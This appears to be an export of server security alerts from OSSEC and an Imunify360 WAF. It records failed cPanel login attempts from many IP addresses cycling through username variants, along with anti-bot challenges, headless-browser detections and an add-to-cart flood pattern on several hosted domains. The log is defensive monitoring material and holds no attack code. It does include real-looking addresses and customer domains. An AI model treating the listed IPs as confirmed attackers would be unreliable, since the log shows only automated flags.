[2026-06-16 00:39:01 +0000] info [cpaneld] 201.77.57.29 - cer "GET /login/?login_only=1&user=cer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.12.138.161
country_id: 298795
description:
[2026-06-16 00:38:25 +0000] info [cpaneld] 212.12.138.161 - certlogistics "GET /login/?login_only=1&user=certlogistics&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogistics (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:39:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:39:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.207.53.74
country_id: 6252001
domain: apisolde.chuso.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.24.135.24
country_id: 3865483
description:
[2026-06-16 00:43:29 +0000] info [cpaneld] 181.24.135.24 - ekeasarl "GET /login/?login_only=1&user=ekeasarl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasarl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.34
country_id: 3686110
description:
[2026-06-16 00:43:35 +0000] info [cpaneld] 38.156.230.34 - ekeasa "GET /login/?login_only=1&user=ekeasa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.165.161.100
country_id: 1210997
description:
[2026-06-16 00:43:40 +0000] info [cpaneld] 103.165.161.100 - ekeas "GET /login/?login_only=1&user=ekeas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.164.37.115
country_id: 1733045
description:
[2026-06-16 00:43:49 +0000] info [cpaneld] 115.164.37.115 - eke "GET /login/?login_only=1&user=eke&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eke (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 121.229.156.46
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2340||QS:add-to-cart=2340||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.189.143.179
country_id: 2802361
description:
[2026-06-16 00:43:24 +0000] info [cpaneld] 188.189.143.179 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.171.80
country_id: 3923057
description:
[2026-06-16 00:43:34 +0000] info [cpaneld] 181.115.171.80 - ekeasar "GET /login/?login_only=1&user=ekeasar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasar (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.132.2.48
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.170.3.19
country_id: 3865483
description:
[2026-06-16 00:43:49 +0000] info [cpaneld] 181.170.3.19 - eke "GET /login/?login_only=1&user=eke&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eke (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.196.199.122
country_id: 6252001
domain: apisolde2.chuso.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.63.68
country_id: 6252001
domain: app.cfmi.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.247.149.14
country_id: 2017370
description:
[2026-06-16 00:46:12 +0000] info [cpaneld] 91.247.149.14 - ekina "GET /login/?login_only=1&user=ekina&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekina (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.167.202.83
country_id: 102358
description:
[2026-06-16 00:46:13 +0000] info [cpaneld] 82.167.202.83 - ekin "GET /login/?login_only=1&user=ekin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.17.39.72
country_id: 6252001
description:
[2026-06-16 00:46:16 +0000] info [cpaneld] 174.17.39.72 - ekin "GET /login/?login_only=1&user=ekin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.153.46
country_id: 99237
description:
[2026-06-16 00:46:16 +0000] info [cpaneld] 185.244.153.46 - eki "GET /login/?login_only=1&user=eki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eki (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.108.73
country_id: 3932488
description:
[2026-06-16 00:46:20 +0000] info [cpaneld] 45.189.108.73 - eki "GET /login/?login_only=1&user=eki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eki (has_cpuser_file failed)


